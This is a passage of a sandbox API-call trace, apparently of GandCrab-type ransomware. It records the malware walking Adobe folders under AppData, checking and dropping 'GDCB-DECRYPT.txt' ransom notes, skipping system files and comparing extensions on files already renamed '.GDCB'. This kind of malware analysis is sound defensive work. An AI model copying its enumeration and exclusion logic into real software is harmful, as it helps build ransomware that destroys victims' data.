lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*" [0135.429] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7640 [0135.429] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.429] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.429] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.429] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.429] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.429] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.429] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.429] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\GDCB-DECRYPT.txt" [0135.429] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.429] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\GDCB-DECRYPT.txt") returned 71 [0135.429] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\GDCB-DECRYPT.txt") returned 71 [0135.429] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\GDCB-DECRYPT.txt") returned 71 [0135.429] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\GDCB-DECRYPT.txt") returned 71 [0135.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.430] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.430] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.430] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.430] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.430] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.430] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.430] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.430] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.430] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.430] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.430] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.430] lstrcmpW (lpString1="Linguistics", lpString2=".") returned 1 [0135.430] lstrcmpW (lpString1="Linguistics", lpString2="..") returned 1 [0135.430] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Linguistics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics" [0135.430] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\" [0135.430] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.430] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.430] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.430] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\") returned 56 [0135.430] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*" [0135.430] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7640 [0135.431] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.431] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.431] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.431] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.431] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.431] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.431] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.431] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\GDCB-DECRYPT.txt" [0135.431] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\GDCB-DECRYPT.txt") returned 72 [0135.431] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.431] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.431] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.431] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.431] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\\\GDCB-DECRYPT.txt") returned 73 [0135.431] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\linguistics\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.431] GetLastError () returned 0x50 [0135.431] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.432] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\") returned 56 [0135.432] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*" [0135.432] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7900 [0135.432] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.432] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.432] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.432] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.432] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.432] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.432] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.432] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\GDCB-DECRYPT.txt" [0135.432] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.432] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\GDCB-DECRYPT.txt") returned 72 [0135.432] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\GDCB-DECRYPT.txt") returned 72 [0135.432] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\GDCB-DECRYPT.txt") returned 72 [0135.432] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\GDCB-DECRYPT.txt") returned 72 [0135.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.432] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.432] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.432] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.432] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.433] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.433] lstrcmpW (lpString1="LogTransport2", lpString2=".") returned 1 [0135.433] lstrcmpW (lpString1="LogTransport2", lpString2="..") returned 1 [0135.433] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="LogTransport2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2" [0135.433] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\" [0135.433] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.433] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.433] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.433] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.433] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.433] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.433] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\") returned 58 [0135.433] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*" [0135.433] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7640 [0135.434] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.434] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.434] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.434] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.434] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.434] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.434] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.434] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\GDCB-DECRYPT.txt" [0135.434] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\GDCB-DECRYPT.txt") returned 74 [0135.434] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.434] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.434] lstrcmpW (lpString1="Logs", lpString2=".") returned 1 [0135.434] lstrcmpW (lpString1="Logs", lpString2="..") returned 1 [0135.434] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="Logs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs" [0135.434] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs") returned 62 [0135.434] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.434] lstrcmpW (lpString1="LogTransport2.cfg.GDCB", lpString2=".") returned 1 [0135.434] lstrcmpW (lpString1="LogTransport2.cfg.GDCB", lpString2="..") returned 1 [0135.434] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="LogTransport2.cfg.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.GDCB" [0135.434] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.GDCB") returned 80 [0135.434] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.434] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.434] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.435] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.435] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\\\GDCB-DECRYPT.txt") returned 75 [0135.435] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.436] GetLastError () returned 0x50 [0135.436] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.437] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\") returned 58 [0135.437] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*" [0135.437] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7ac0 [0135.437] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.437] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.437] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.437] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.437] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.437] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.437] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.437] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\GDCB-DECRYPT.txt" [0135.437] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.437] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\GDCB-DECRYPT.txt") returned 74 [0135.437] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\GDCB-DECRYPT.txt") returned 74 [0135.437] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\GDCB-DECRYPT.txt") returned 74 [0135.437] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\GDCB-DECRYPT.txt") returned 74 [0135.437] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.438] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.438] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.438] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.438] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.438] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.438] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.438] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.438] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.438] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.438] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.438] lstrcmpW (lpString1="Logs", lpString2=".") returned 1 [0135.438] lstrcmpW (lpString1="Logs", lpString2="..") returned 1 [0135.438] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="Logs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs" [0135.438] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\" [0135.438] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.438] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.438] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.438] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.438] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.438] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.438] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\") returned 63 [0135.438] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*" [0135.438] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7640 [0135.439] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.439] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.439] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.439] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.439] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.439] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.439] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.439] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\GDCB-DECRYPT.txt" [0135.439] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\GDCB-DECRYPT.txt") returned 79 [0135.439] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.439] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.439] lstrcmpW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.GDCB", lpString2=".") returned 1 [0135.439] lstrcmpW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.GDCB", lpString2="..") returned 1 [0135.439] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.GDCB" [0135.439] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_00209595-b6ba-4fa7-88b0-97083d4c2159_0.log.GDCB") returned 168 [0135.439] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.440] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.440] lstrcmpW 